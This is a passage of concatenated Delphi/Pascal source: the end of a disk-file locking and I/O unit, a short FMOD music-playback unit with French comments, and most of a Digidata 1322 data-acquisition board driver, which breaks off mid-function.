gsTestForOK(dfFileErr,dskFileSizeError);
gsFileSize := fs;
end;
Function GSO_DiskFile.gsFlush: boolean;
begin
gsFlush := false;
if not dfHasWritten then
begin
gsFlush := true;
exit;
end;
if dfClosed then exit;
dfFileErr := GS_Flush(dfFileHndl);
dfHasWritten := false;
gsFlush := gsTestForOk(dfFileErr,dskFlushError);
end;
Function GSO_DiskFile.gsLockFile : Boolean;
begin
if dfFileShrd then
gsLockFile := gsLockRecord(0,dfDirtyReadLmt)
else
gsLockFile := true;
end;
Function GSO_DiskFile.gsLockRecord(FilePosition,FileLength: LongInt): boolean;
var
hour: word;
min: word;
sec: word;
sec100: word;
limitsec: word;
startsec: word;
begin
if (not dfFileShrd) then dfFileErr := 1
else
begin
if dfLockRec then
begin
if (FilePosition = dfLockPos) and (FileLength = dfLockLth) then
dfFileErr := 0
else
dfFileErr := dosLockViolated;
end
else
begin
dfLockPos := FilePosition;
dfLockLth := FileLength;
dfFileErr := GS_LockFile(dfFileHndl,dfLockPos,dfLockLth);
if not (dfFileErr in [0,1]) then
begin
gsGetTime(hour,min,sec,sec100);
startsec := sec;
limitsec := sec+GSwrdAccessSeconds;
repeat
dfFileErr := GS_LockFile(dfFileHndl,dfLockPos,dfLockLth);
GSCheckMessages;
gsGetTime(hour,min,sec,sec100);
if sec < startsec then sec := sec+60;
until (dfFileErr in [0,1]) or (sec > limitsec);
end;
dfLockRec := dfFileErr = 0;
if dfLockRec then
dfFileLocked := (FilePosition = 0) and (FileLength = dfDirtyReadLmt);
end;
end;
gsLockRecord := dfFileErr = 0;
end;
Function GSO_DiskFile.gsRead(blk : longint; var dat; len : longint): Boolean;
var
fs: longint;
hour: word;
min: word;
sec: word;
sec100: word;
limitsec: word;
startsec: word;
begin
if blk = -1 then blk := dfFilePosn;
fs := GSFileSeek(dfFileHndl, blk, 0);
IF fs <> -1 THEN {If seek ok, read the record}
BEGIN
dfFileErr := 0;
dfGoodRec := GSFileRead(dfFileHndl, dat, len);
if dfGoodRec = -1 then
dfFileErr := GSGetLastError;
if dfFileErr = 0 then dfFilePosn := (blk+len);
end
else
dfFileErr := GSGetLastError;
if dfFileErr <> 0 then
begin
gsGetTime(hour,min,sec,sec100);
startsec := sec;
limitsec := sec+GSwrdAccessSeconds;
repeat
fs := GSFileSeek(dfFileHndl, blk, 0);
IF fs <> -1 THEN {If seek ok, read the record}
BEGIN
dfFileErr := 0;
dfGoodRec := GSFileRead(dfFileHndl, dat, len);
if dfGoodRec = -1 then
dfFileErr := GSGetLastError;
if dfFileErr = 0 then dfFilePosn := (blk+len);
end
else
dfFileErr := GSGetLastError;
GSCheckMessages;
gsGetTime(hour,min,sec,sec100);
if sec < startsec then sec := sec+60;
until (dfFileErr = 0) or (sec > limitsec);
end;
gsRead := gsTestForOk(dfFileErr,dskReadError);
if dfFileErr = 0 then
begin {!!RFG 082097}
inc(dfReadCount); {!!RFG 082097}
if dfGoodRec < len then
begin
dfFileErr := gsShortDiskRead;
gsRead := false;
end; {!!RFG 082097}
end;
end;
Function GSO_DiskFile.gsReset: Boolean;
var
WrkMode : byte;
FilePtr : GSP_DiskFile;
begin
dfFileErr := 0;
FilePtr := GS_FileActiveHere(dfFileName);
if FilePtr = nil then
begin
WrkMode := dfFileMode;
dfFileHndl := GSFileOpen(StrPas(dfFileName),WrkMode);
if dfFileHndl = -1 then
dfFileErr := GSGetLastError;
(* {!!RFG 022098}
if (dfFileErr <> 0) and (not dfReadOnly) then
begin {if not read only}
WrkMode := dfFileMode and $F8; {Then force read only}
dfFileHndl := GSFileOpen(StrPas(dfFileName),WrkMode);
if dfFileHndl = -1 then
dfFileErr := GSGetLastError
else
dfFileErr := 0;
end;
dfReadOnly := ((dfFileMode and $07) = 0);
*)
if (dfFileErr = 0) and (not dfReadOnly) then
begin
if dfFileShrd then
begin
inc(dfHideError);
gsLockRecord(0,1);
if dfFileErr = 0 then
begin
gsUnLock;
end
else
begin
dfFileShrd := false;
end;
dfFileErr := 0;
dec(dfHideError);
end;
end;
end
else
begin
dfFileShrd := FilePtr^.dfFileShrd;
dfFileHndl := FilePtr^.dfFileHndl;
end;
if dfFileErr = 0 then
begin
dfFilePosn := 0;
if FileLog = nil then
FileLog := New(GSptrFileColl, Create)
else
if FileLog^.IndexOf(@Self) = -1 then FileLog^.Insert(@Self);
dfClosed := false;
end;
gsReset := gsTestForOK(dfFileErr,dskResetError);
end;
Function GSO_DiskFile.gsReWrite: Boolean;
begin
if GS_FileActiveHere(dfFileName) <> nil then
dfFileErr := dosInvalidAccess
else
begin
dfFileHndl := GSFileCreate(StrPas(dfFileName));
if dfFileHndl <> -1 then
begin
GSFileClose(dfFileHndl);
gsReset;
dfFileErr := 0;
end
else
dfFileErr := GSGetLastError;;
end;
gsRewrite := gsTestForOk(dfFileErr,dskRewriteError);
end;
Function GSO_DiskFile.gsSetFlushCondition(Condition : GSsetFlushStatus): Boolean;
begin
dfFileFlsh := Condition;
gsSetFlushCondition := true;
end;
Procedure GSO_DiskFile.gsSetLockProtocol(LokProtocol: GSsetLokProtocol);
begin
dfLockStyle := LokProtocol;
case LokProtocol of
DB4Lock : begin
dfDirtyReadMin := $40000000;
dfDirtyReadMax := $EFFFFFFF;
dfDirtyReadRng := $B0000000;
end;
ClipLock : begin
dfDirtyReadMin := 1000000000;
dfDirtyReadMax := 1000000000;
dfDirtyReadRng := 1000000000;
end;
Default,
FoxLock : begin
dfDirtyReadMin := $40000000;
dfDirtyReadMax := $7FFFFFFE;
dfDirtyReadRng := $3FFFFFFF;
end;
end;
end;
Procedure GSO_DiskFile.gsStatusUpdate(stat1,stat2,stat3 : longint);
begin
end;
Procedure GSO_DiskFile.gsStatusLink(stat1,stat2,stat3 : longint);
begin
gsStatusUpdate(stat1,stat2,stat3);
end;
Function GSO_DiskFile.gsTestForOk(Code, Info : integer): boolean;
begin
if Code <> 0 then
GSSetLastError(Code); {!!RFG 022098}
if (Code <> 0) and (dfHideError = 0) then
begin
FoundError(Code,Info,dfFileName);
gsTestForOk := false;
end
else
gsTestForOk := true;
end;
Function GSO_DiskFile.gsTruncate(loc : longint): Boolean;
begin
if dfReadOnly or ((dfFileShrd) and (not dfFileLocked)) then
dfFileErr := dosAccessDenied
else
begin
if loc = -1 then loc := dfFilePosn;
if not GSFileTruncate(dfFileHndl,loc) then
dfFileErr := GSGetLastError;
if dfFileErr = 0 then
end;
gsTruncate := gsTestForOk(dfFileErr,dskTruncateError);
end;
Function GSO_DiskFile.gsUnLock : Boolean;
var
hour: word;
min: word;
sec: word;
sec100: word;
limitsec: word;
startsec: word;
begin
dfFileErr := 0;
dfFileLocked := false;
if dfLockRec then
dfFileErr := GS_UnLockFile(dfFileHndl,dfLockPos,dfLockLth);
if dfFileErr <> 0 then
begin
gsGetTime(hour,min,sec,sec100);
startsec := sec;
limitsec := sec+GSwrdAccessSeconds;
repeat
dfFileErr := GS_UnLockFile(dfFileHndl,dfLockPos,dfLockLth);
GSCheckMessages;
gsGetTime(hour,min,sec,sec100);
if sec < startsec then sec := sec+60;
until (dfFileErr in [0,1]) or (sec > limitsec);
end;
if dfLockRec then
if (dfFileFlsh = UnLockFlush) and (not dfReadOnly) then gsFlush;
dfLockRec := false;
gsUnLock := gsTestForOk(dfFileErr,dskUnlockError);
end;
Function GSO_DiskFile.gsWrite(blk : longint; var dat; len : longint): boolean;
var
hour: word;
min: word;
sec: word;
sec100: word;
limitsec: word;
startsec: word;
fs: longint;
begin
if blk = -1 then blk := dfFilePosn;
fs := GSFileSeek(dfFileHndl, blk, 0);
IF fs <> -1 THEN {If seek ok, read the record}
BEGIN
dfFileErr := 0;
dfGoodRec := GSFileWrite(dfFileHndl, dat, len);
if dfGoodRec = -1 then
dfFileErr := GSGetLastError;
if dfFileErr = 0 then dfFilePosn := (blk+len);
end
else
dfFileErr := GSGetLastError;
if dfFileErr <> 0 then
begin
gsGetTime(hour,min,sec,sec100);
startsec := sec;
limitsec := sec+GSwrdAccessSeconds;
repeat
fs := GSFileSeek(dfFileHndl, blk, 0);
IF fs <> -1 THEN {If seek ok, read the record}
BEGIN
dfFileErr := 0;
dfGoodRec := GSFileWrite(dfFileHndl, dat, len);
if dfGoodRec = -1 then
dfFileErr := GSGetLastError;
if dfFileErr = 0 then dfFilePosn := (blk+len);
end
else
dfFileErr := GSGetLastError;
GSCheckMessages;
gsGetTime(hour,min,sec,sec100);
if sec < startsec then sec := sec+60;
until (dfFileErr = 0) or (sec > limitsec);
end;
if dfFileErr = 0 then
begin
inc(dfWriteCount); {!!RFG 082097}
dfHasWritten := true;
if dfFileFlsh = WriteFlush then gsFlush;
end;
gsWrite := gsTestForOk(dfFileErr,dskWriteError);
end;
{------------------------------------------------------------------------------
GSobjFileColl
------------------------------------------------------------------------------}
constructor GSobjFileColl.Create;
begin
inherited Create(32,16);
ObjType := GSobtFileColl;
end;
destructor GSobjFileColl.Destroy;
begin
SetLimit(0);
inherited Destroy;
end;
procedure GSobjFileColl.FreeAll;
begin
Count := 0;
end;
procedure GSobjFileColl.FreeItem(Item: Pointer);
begin
end;
{------------------------------------------------------------------------------
Setup and Exit Routines
------------------------------------------------------------------------------}
var
ExitSave : pointer;
{$F+}
procedure ExitHandler;
begin
GS_ClearLocks;
if FileLog <> nil then
FileLog^.Free;
FileLog := nil;
ExitProc := ExitSave;
end;
{$F-}
begin
ExitSave := ExitProc;
ExitProc := @ExitHandler;
FileLog := New(GSptrFileColl, Create);
end.
|
unit MoteurSound;
interface
uses
dialogs,SysUtils, fmod, fmodtypes;
var
music : PFSOUNDSTREAM ;
MouseDown: boolean;
implementation
begin
//initialisation de FMOD ( nb Hz / nb canaux dispos / flags? mais osef )
FSOUND_Init(44100, 42, 0);
//on charge la musique ( nom fichier / osef ^^ / debut de la ziq / jusqu'ou )
music := FSOUND_Stream_Open('phoenix.mp3',FSOUND_LOOP_NORMAL,0,0) ;
//activation de la boucle ( musique / positif = nb repet, neg = infini )
FSOUND_Stream_SetLoopCount(music, 1);
//on joue la musique ( FMOD choisi un canal, musique en question )
FSOUND_Stream_play( FSOUND_FREE, music ) ;
//on commence en pause
FSOUND_SetPaused(FSOUND_ALL, true ) ;
//changer le volume ( sur tous les canaux / entre 0 et 256 )
FSOUND_SetVolume(FSOUND_ALL, 255);
end.
|
unit DD1322brd;
interface
{$IFDEF FPC} {$mode delphi} {$DEFINE AcqElphy2} {$A1} {$Z1} {$ENDIF}
uses windows,sysutils,classes,
util1,debug0,varconf1,
stmDef,
AcqInterfaces, AxDD132x2,AcqBrd1,DDopt1,
DataGeneFile,
acqCom1,
acqDef2,AcqInf2,stimInf2
;
{ La 1322 utilise la même horloge pour l'ADC et la DAC.
Les sorties logiques se comportent comme une voie analogique supplémentaire.
Si l'on acquiert sur 5 voies et si on stimule sur 2 dac + les sorties logiques, on
a la chronologie suivante:
1 2 3 4 5 1 2 3 4 5 1 2 3 4 5 ..... pour les entrées
1 2 3 1 2 3 1 2 3 1 2 3 1 2 3 ..... pour les sorties
Si la période globale est 1ms
- la période par Adc est 5 ms
- la période par Dac est 3 ms
BUFFER DE SORTIE:
Le comportement du système en sortie est assez curieux:
Dés le lancement de l'acquisition, les échantillons du buffer sont avalés
immédiatement, du moins lorsque la taille du buffer est inférieure à 300000 points.
Ensuite, les points sont avalés régulièrement selon la vitesse d'échantillonnage.
Il faut donc que la routine d'interruption remplace rapidement les échantillons
manquants, sinon une erreur se produira pour des séquences longues.
}
const
maxBuffers=1;
maxDacBuffers=1;
type
TDD1322interface=class(TacqInterface)
protected
DDnbvoie:integer;
nbptBuf:integer;
buf:PtabEntier;
DacNbptBuf:integer;
DacBuf:PtabEntier;
nextSeq:integer;
buffers:array[1..maxBuffers] of TdataBuffer;
DacBuffers:array[1..maxDacBuffers] of TdataBuffer;
Gadc:double;
OFFadc:integer;
Gdac:array[0..1] of double;
OFFdac:array[0..1] of integer;
Fwaiting:boolean;
function getCount:integer;override;
function getCount2:integer;override;
procedure doNumPlus;
procedure doNumPlusStim;
procedure nextSample;override;
public
constructor create(var st1:driverString);override;
destructor destroy;override;
procedure init;override;
procedure lancer;override;
procedure terminer;override;
function dataFormat:TdataFormat;override;
function dacFormat:TdacFormat;override;
function PeriodeElem:float;override;
function PeriodeMini:float;override;
procedure outdac(num,j:word);override;
function outDIO(dev,port,value: integer): integer;override;
function inADC(n:integer):smallint;override;
function inDIO(dev,port:integer):integer;override;
function RAngeString:AnsiString;override;
function MultiGain:boolean;override;
function gainLabel:AnsiString;override;
function nbGain:integer;override;
function channelRange:boolean;override;
procedure GetOptions;override;
procedure setDoAcq(var procInt:ProcedureOfObject);override;
procedure initcfgOptions(conf:TblocConf);override;
function TagMode:TtagMode;override;
function tagShift:integer;override;
function TagCount:integer;override;
function getMinADC:integer;override;
function getMaxADC:integer;override;
function GcalibAdc(n:integer):float;override; {n= numéro physique. commence à zéro}
function GcalibDac(n:integer):float;override;
function OffcalibAdc(n:integer):integer;override;
function OffcalibDac(n:integer):integer;override;
procedure setVSoptions;override;
function isWaiting:boolean; override;
procedure relancer;override;
procedure DisplayInfo;
procedure CopyCalibrationData;
procedure Calibrate;
function ADCcount(dev:integer):integer;override; { nb ADC par device }
function DACcount(dev:integer):integer;override; { nb DAC par device }
function DigiOutCount(dev:integer):integer;override; { nb Digi Out par device }
function DigiInCount(dev:integer):integer;override; { nb Digi In par device }
function bitInCount(dev:integer):integer;override; { nb bits par entrée digi }
function bitOutCount(dev:integer):integer;override; { nb bits par sortie digi }
function deviceCount:integer;override;
procedure GetPeriods(PeriodU:float;nbADC,nbDI,nbDAC,nbDO:integer;var periodIN,periodOut:float);override; {ms}
function setValue(Device,tpOut,physNum,value:integer):boolean;override;
function getValue(Device,tpIn,physNum:integer;var value:smallint):boolean;override;
end;
implementation
var
hDD1322:integer; {le handle de l'unique device considéré }
info:TDD132X_info; {et la structure d'info}
FuseTag:boolean;
CalibrationData:TDD132X_CalibrationData;
CalibrationError:integer;
const
nbptBuf0=100000;
nbptBufDac0=100000;
constructor TDD1322Interface.create(var st1:driverString);
var
i:integer;
begin
boardFileName:='DD1322';
buf := allocmem(nbptBuf0*2);
DacBuf := allocmem (nbptBufDac0*2);
nbPtBuf:=nbptBuf0;
DacNbPtBuf:=nbptBufDac0;
for i:=1 to maxBuffers do
with buffers[i] do
begin
uNumSamples:=nbptBuf0 div maxBuffers; // Number of samples in this buffer.
uFlags:=0; // Flags discribing the data buffer.
pnData:=@buf^[nbptBuf0 div maxBuffers*(i-1)]; // The buffer containing the data.
psDataFlags:=nil; // Flags split out from the data buffer.
if i<maxBuffers
then pNextBuffer:=@buffers[i+1] // Next buffer in the list.
else pNextBuffer:=@buffers[1];
if i=1
then pPrevBuffer:=@buffers[maxBuffers] // Previous buffer in the list.
else pPrevBuffer:=@buffers[i-1];
end;
for i:=1 to maxDacBuffers do
with DacBuffers[i] do
begin
uNumSamples:=nbptBufDac0 div maxDacBuffers; // Number of samples in this buffer.
uFlags:=0; // Flags discribing the data buffer.
pnData:=@dacbuf^[nbptBufDac0 div maxDacBuffers*(i-1)]; // The buffer containing the data.
psDataFlags:=nil; // Flags split out from the data buffer.
if i<maxDacBuffers
then pNextBuffer:=@DacBuffers[i+1] // Next buffer in the list.
else pNextBuffer:=@DacBuffers[1];
if i=1
then pPrevBuffer:=@DacBuffers[maxDacBuffers] // Previous buffer in the list.
else pPrevBuffer:=@DacBuffers[i-1];
end;
if CalibrationError=0 then CopyCalibrationData
else
begin
Gadc:=1;
OFFadc:=0;
OFFdac[0]:= 0;
Gdac[0]:= 1;
OFFdac[1]:= 0;
Gdac[1]:= 1;
end;
FnbptDacDMA:=DacNbptBuf;
end;
destructor TDD1322Interface.destroy;
begin
if assigned(buf) then Freemem(buf);
if assigned(DacBuf) then Freemem(dacBuf);
end;
procedure TDD1322Interface.init;
var
ULstat:integer;
revLevel:single;
begin
baseIndex:=0;
nbvoie:=AcqInf.nbVoieAcq;
tabDma1:=buf;
tabDma2:=dacBuf;
nbpt0DMA:=nbptBuf;
FnbptDacDMA:=DacNbptBuf;
initPadc;
nextSeq:=AcqInf.Qnbpt1;
GI1:=-1;
GI1x:=-1;
cntStim:=0;
cntStoreDac:=0;
initPdac;
loadDmaDAC;
FuseTag:=FUseTagStart;
Fwaiting:=false;
end;
procedure TDD1322Interface.lancer;
var
protocol:TDD132X_Protocol;
i:integer;
res:boolean;
error:integer;
begin
Ptab0:=buf;
PtabFin:=@buf^[nbpt0DMA];
Ptab:=Ptab0;
restartOnTimer:=false;
AcqTime0:=GetTickCount;
fillchar(protocol,sizeof(protocol),0);
with protocol do
begin
ulength:=sizeof(protocol);
uChunksPerSecond:=20;
dsampleInterval:=acqInf.periodeUS;
{messageCentral('sampleInt='+Estr(dsampleInterval,3));}
if not AcqInf.continu and
(acqInf.ModeSynchro = MSinterne) and acqInf.waitMode then
begin
dwFlags:=DD132X_PROTOCOL_STOPONTC;
uTerminalCount:=AcqInf.Qnbpt1;
restartOnTimer:=true;
end
else
if not AcqInf.continu and
(acqInf.ModeSynchro in [MSimmediat,MSinterne]) and
(acqInf.maxEpCount>0) then
begin
dwFlags:=DD132X_PROTOCOL_STOPONTC;
if acqInf.maxEpCount=1
then uTerminalCount:=AcqInf.Qnbpt1
else uTerminalCount:=AcqInf.IsiPts*acqInf.maxEpCount+1;
end
else
if AcqInf.continu and (AcqInf.maxDuration>0) then
begin
dwFlags:=DD132X_PROTOCOL_STOPONTC;
uTerminalCount:=AcqInf.MaxAdcSamples+1;
end
else
begin
dwFlags:=0;
uTerminalCount:=0;
end;
if acqInf.ModeSynchro in [MSnumPlus,MSnumMoins] then
begin
if not acqInf.Fstim and FuseTagStart
then etriggering:=DD132X_StartImmediately
else etriggering:=DD132X_externalStart;
end
else etriggering:=DD132X_StartImmediately;
if FuseTagStart
then eAIDataBits:=DD132X_Bit0Tag_Bit1ExtStart;
uAIChannels:=AcqInf.nbVoieAcq;
for i:=1 to AcqInf.nbvoieAcq do anAIChannels[i]:=AcqInf.QvoieAcq[i];
pAIbuffers:=@buffers;
uAIbuffers:=maxBuffers;
if AcqInf.Fstim then
begin
uAOChannels:=paramStim.ActiveChannels;
for i:=1 to paramStim.ActiveChannels do anAOChannels[i]:=i-1;
if paramStim.nbDigi>0
then anAOChannels[uAOChannels]:= DD132X_PROTOCOL_DIGITALOUTPUT;
pAObuffers:=@DacBuffers;
uAObuffers:=maxDacBuffers;
end;
end;
if hDD1322=0 then
begin
messageCentral('Error hDD1322=0');
flagStop:=true;
exit;
end;
res:=DD132X_SetProtocol(hDD1322,Protocol,error);
if not res then
begin
messageCentral('Error SetProtocol '+Bstr(res)+' '+Istr(error));
flagStop:=true;
exit;
end;
res:=DD132X_StartAcquisition(HDD1322,error);
if not res then
begin
messageCentral('Error StartAcq '+Bstr(res)+' '+Istr(error));
flagStop:=true;
exit;
end;
end;
procedure TDD1322Interface.relancer;
var
i,j,k,GI2,GI2x:integer;
i1:integer;
begin
if AcqInf.Fstim then
begin
inc(baseIndex,nbptStim);
cntStoreDac:=0;
loadDmaDac;
end;
lancer;
GI2x:=getCount2;
for i1:=GI1x+1 to GI2x do
begin
j:=cntStoreDac mod nbdac;
if (cntStoreDac>=0) and (cntStoreDac<nbptStim)
then Jhold1[j]:=nextSampleDac;
storeDac(Jhold1[j]);
end;
AffDebug('Immediate CntStoreDac='+Istr(cntStoreDac)+
' GI1x+1='+Istr(GI1X+1)+' count2='+Istr(GI2X),0);
GI1x:=GI2x;
Fwaiting:=false;
end;
procedure TDD1322Interface.terminer;
var
res:boolean;
error:integer;
begin
res:=DD132X_StopAcquisition(HDD1322, error);
{if not res then
begin
messageCentral('Error StopAcq '+Bstr(res)+' '+Istr(error));
flagStop:=true;
exit;
end;
}
repeat until not DD132X_IsAcquiring(HDD1322 );
Fwaiting:=false;
resetPmainDac;
end;
function TDD1322Interface.dataFormat:TdataFormat;
begin
if FuseTagStart
then result:=Fdigi1322
else result:=F16bits;
end;
function TDD1322Interface.DacFormat:TdacFormat;
begin
result:=DacF1322;
end;
function TDD1322Interface.getCount:integer;
var
sampleCount:int64;
error:integer;
res:boolean;
begin
res:=DD132X_GetAcquisitionPosition(HDD1322,SampleCount,error);
result:=sampleCount;
end;
function TDD1322Interface.getCount2:integer;
var
sampleCount:int64;
error:integer;
res:boolean;
begin
res:=DD132X_GetNumSamplesOutput(HDD1322,SampleCount,error);
result:=sampleCount-1;
count2:=result;
end;
function TDD1322Interface.PeriodeElem:float;
begin
result:={info.uClockResolution/1000} 1 ; { 1 microseconde imposé }
end;
function TDD1322Interface.PeriodeMini:float;
begin
result:=info.uClockResolution/1000*info.uMinClockTicks;
end;
procedure TDD1322Interface.outdac(num,j:word);
var
error:integer;
begin
DD132X_PutAOValue(HDD1322,num,j,error);
end;
function TDD1322Interface.outDIO(dev,port,value: integer): integer;
var
error:integer;
begin
DD132X_PutDOValues(HDD1322,value,error);
end;
function TDD1322Interface.inADC(n:integer):smallint;
begin
end;
function TDD1322Interface.inDIO(dev,port:integer):integer;
var
dwValues:DWORD;
error:integer;
res:BOOL;
begin
res:=DD132X_GetDIValues(HDD1322,dwValues,error);
result:=dwValues;
end;
procedure TDD1322Interface.nextSample;assembler;
asm
push esi
mov esi,Ptab
xor eax,eax
mov ax,[esi] {lire un point}
add esi,2
cmp esi,Ptabfin {incrémenter Ptab}
jl @@1 {mais si la fin est atteinte}
mov esi,Ptab0 {ranger l'adresse de début}
@@1: mov Ptab,esi
mov word ptr wsample,ax
cmp FuseTag,0
je @@2
sar ax,2
@@2: mov word ptr wsampleR,ax
@fin:pop esi
end;
{****************** Synchro mode numérique Plus sans stim *********************}
{Avec FuseTagStart, l'ADC est en mode circulaire. On teste la voie start en permanence.
Le tag est sur bit0 et le start est sur bit1
La stimulation n'est pas possible dans ce mode
}
procedure TDD1322Interface.DoNumPlus;
var
i,j:integer;
begin
GI2:=getcount-1;
for i:=GI1+1 to GI2 do
begin
nextSample;
if not Ftrig then
begin
if (i>nbAv) and not oldSyncNum and (wsample[0] and 2<>0) then
begin
TrigDate:=i div nbvoie*nbvoie;
Ftrig:=true;
for j:=trigDate-nbAv to i do copySample(j);
end;
oldSyncNum:=wsample[0] and 2<>0;
end
else
begin
if (i-trigDate>=nbAp) then
begin
Ftrig:=false;
oldSyncNum:=true;
end
else
begin
storeWsample;
oldSyncNum:=wsample[0] and 2<>0;
end;
end;
end;
GI1:=GI2;
end;
{Attention: doNumPlusStim est aussi appelée sans stim si not FuseTagStart
}
procedure TDD1322Interface.doNumPlusStim;
var
i,j,k,GI2,GI2x:integer;
i1:integer;
t:longWord;
begin
if Fwaiting then exit;
GI2:=getcount-1;
for i:=GI1+1 to GI2 do
begin
nextSample;
storeWsample;
if i=nextSeq-1 then
begin
GI1:=-1;
GI2:=0;
terminer;
GI1x:=-1;
Fwaiting:=true;
exit;
end;
end;
GI1:=GI2;
if acqInf.Fstim then
begin
GI2x:=getCount2;
for i:=GI1x+1 to GI2x do
begin
j:=cntStoreDac mod nbdac;
if (cntStoreDac>=0) and (cntStoreDac<nbptStim)
then Jhold1[j]:=nextSampleDac;
storeDac(Jhold1[j]);
end;
AffDebug('CntStoreDac='+Istr(cntStoreDac)+' GI1x+1='+Istr(GI1X+1)+' count2='+Istr(GI2X),0);
GI1x:=GI2x;
end;
end;
function TDD1322Interface.RangeString:AnsiString;
begin
result:='-10 volts to +10 volts';
end;
function TDD1322Interface.MultiGain:boolean;
begin
result:=false;
end;
function TDD1322Interface.GainLabel:AnsiString;
begin
result:='Range';
end;
function TDD1322Interface.nbGain;
begin
result:=1;
end;
function TDD1322Interface.channelRange:boolean;
begin
result:=false;
end;
procedure TDD1322Interface.GetOptions;
begin
DD1322options.execution(self);
{messageCentral('PeriodeMini='+Estr(periodeMini,3)+crlf+
'PeriodeElem='+Estr(periodeElem,3) ); }
end;
procedure TDD1322Interface.setDoAcq(var procInt:ProcedureOfObject);
var
modeSync:TmodeSync;
begin
with acqInf do
begin
if continu
then modeSync:=MSimmediat
else modeSync:=modeSynchro;
if continu then ProcInt:=DoContinuous
else
case modeSync of
MSimmediat, MSinterne:
if not WaitMode
then ProcInt:=doInterne
else ProcInt:=doNumPlusStim;
MSnumPlus, MSnumMoins:
if not Fstim then
begin
if FuseTagStart
then ProcInt:=doNumPlus
else ProcInt:=doNumPlusStim;
end
else ProcInt:=doNumPlusStim;
MSanalogAbs:
if voieSync>Qnbvoie then
begin
ProcInt:=DoAnalogAbs1;
end
else ProcInt:=DoAnalogAbs;
else ProcInt:=nil;
end;
end;
end;
procedure TDD1322Interface.initcfgOptions(conf:TblocConf);
begin
with conf do
begin
setvarconf('UseTagStart',FUseTagStart,sizeof(FUseTagStart));
end;
end;
function TDD1322Interface.TagMode:TtagMode;
begin
if FuseTagStart
then result:=tmDigidata
else result:=tmNone;
end;
function TDD1322Interface.tagShift:integer;
begin
if FuseTagStart
then result:=2
else result:=0;
end;
function TDD1322Interface.TagCount:integer;
begin
if FuseTagStart
then result:=2
else result:=0;
end;
function TDD1322Interface.getMinADC:integer;
begin
if FuseTagStart
then result:=-8192
else result:=-32768;
end;
function TDD1322Interface.getMaxADC:integer;
begin
if FuseTagStart
then result:=8191
else result:=32767;
end;
function TDD1322interface.GcalibAdc(n: integer): float;
begin
result:=Gadc;
end;
function TDD1322interface.GcalibDac(n: integer): float;
begin
result:=Gdac[n];
end;
function TDD1322interface.OffcalibAdc(n: integer): integer;
begin
if FuseTagStart
then result:=OFFadc div 4
else result:=OFFadc;
end;
function TDD1322interface.OffcalibDac(n: integer): integer;
begin
result:=OFFdac[n];
end;
procedure TDD1322interface.Calibrate;
begin
DD132X_Calibrate(hDD1322,CalibrationData,Calibrationerror);
if CalibrationError<>0
then messageCentral('Unable to calibrate Digidata 1322 ')
else
begin
CopyCalibrationData;
DisplayInfo;
end;
end;
procedure TDD1322interface.CopyCalibrationData;
begin
with CalibrationData do
begin
Gadc:=dADCGainRatio;
OFFadc:=nADCOffset;
OFFdac[0]:= anDACOffset[1];
Gdac[0]:= adDACGainRatio[1];
OFFdac[1]:= anDACOffset[2];
Gdac[1]:= adDACGainRatio[2];
end;
end;
procedure TDD1322interface.displayInfo;
begin
with info,CalibrationData do
messageCentral('byAdaptor='+Istr(byAdaptor)+CRLF+
'byTarget='+Istr(byTarget)+CRLF+
'byImageType='+Istr(byImageType)+CRLF+
'byResetType='+Istr(byResetType)+CRLF+
'szManufacturer='+tabToString(szManufacturer,16)+CRLF+
'szName='+tabToString(szName,32)+CRLF+
'szProductVersion='+tabToString(szProductVersion,16)+CRLF+
'szFirmwareVersion='+tabToString(szFirmwareVersion,16)+CRLF+
'uInputBufferSize='+Istr(uInputBufferSize)+CRLF+
'uOutputBufferSize='+Istr(uOutputBufferSize)+CRLF+
'uSerialNumber='+Istr(uSerialNumber)+CRLF+
'uClockResolution='+Istr(uClockResolution)+CRLF+
'uMinClockTicks='+Istr(uMinClockTicks)+CRLF+
'uMaxClockTicks='+Istr(uMaxClockTicks)+CRLF+
' -Calibration data:'+CRLF+
'dADCGainRatio='+Estr(dADCGainRatio,6)+CRLF+
'nADCOffset='+Istr(nADCOffset)+CRLF+
'anDACOffset0='+Istr(anDACOffset[1])+CRLF+
'adDACGainRatio0='+Estr(adDACGainRatio[1],6)+CRLF+
'anDACOffset1='+Istr(anDACOffset[2])+CRLF+
'adDACGainRatio1='+Estr(adDACGainRatio[2],6)
);
end;
var
error:integer;
procedure TDD1322interface.setVSoptions;
begin
FuseTagStart:=true;
end;
function TDD1322interface.isWaiting: boolean;
begin
result:=Fwaiting;
end;
function TDD1322interface.deviceCount: integer;
begin
result:=1;
end;
function TDD1322interface.ADCcount(dev:integer): integer;
begin
result:=16;
end;
function TDD1322interface.DACcount(dev:integer): integer;
begin
result:=2;
end;
function TDD1322interface.DigiInCount(dev:integer): integer;
begin
result:=0;
end;
function TDD1322interface.DigiOutCount(dev:integer): integer;
begin
result:=1;
end;
function TDD1322interface.bitInCount(dev:integer): integer;
begin
result:=2;
end;
function TDD1322interface.bitOUTCount(dev:integer): integer;
begin
result:=16;
end;
procedure TDD1322interface.GetPeriods(PeriodU: float; nbADC, nbDI, nbDAC,
nbDO: integer; var periodIN, periodOut: float);
var
p:float;
begin
if nbADC<1 then nbADC:=1;
{periodU est la période par canal souhaitée}
p:=periodU*1000/nbADC; { période globale en microsecondes}
p:=round(p/periodeElem)*periodeElem; { doit être un multiple de periodeElem }
if p<periodeMini then p:=periodeMini; { doit être supérieure à periodeMini }
periodIN:=p*nbADC/1000; { période calculée en millisecondes }
periodOut:=p*(nbDAC+nbDO)/1000;
end;
function TDD1322interface.getValue(Device, tpIn, physNum: integer; var value: smallint): boolean;
begin
end;
function TDD1322interface.setValue(Device, tpOut, physNum, value: integer): boolean;
var
error:integer;
begin
case tpOut of
0: if (physNum=0) or (physNum=1) then DD132X_PutAOValue(HDD1322,PhysNum,value,error);
1: DD132X_PutDOValues(HDD1322,value,error);
end;
end;
procedure init1322;
var
Version: TOSVersionInfo;
error:integer;
res:Dword;
begin
version.dwOSVersionInfoSize:=sizeof(version);
getVersionEx(Version);
if (version.dwPlatformId<>VER_PLATFORM_WIN32_NT) or not initDD132xlib then
begin
{messageCentral('initDD132xlib = false');}
exit;
end;
initDD132x_Info(info);
res:=DD132x_findDevices(info,1,error); {renvoie toujours 0 !}
if {(info.uSerialNumber=0) or} (info.uClockResolution=0) then
begin
{messageCentral('(info.uSerialNumber=0) or (info.uClockResolution=0)');}
exit;
end;
hDD1322 := DD132X_OpenDevice(Info.byAdaptor, Info.byTarget, error);
if (error<>0) or (hDD1322=0) then
begin
{messageCentral('OpenDevice=false error='+Istr(error));}
exit;
end;
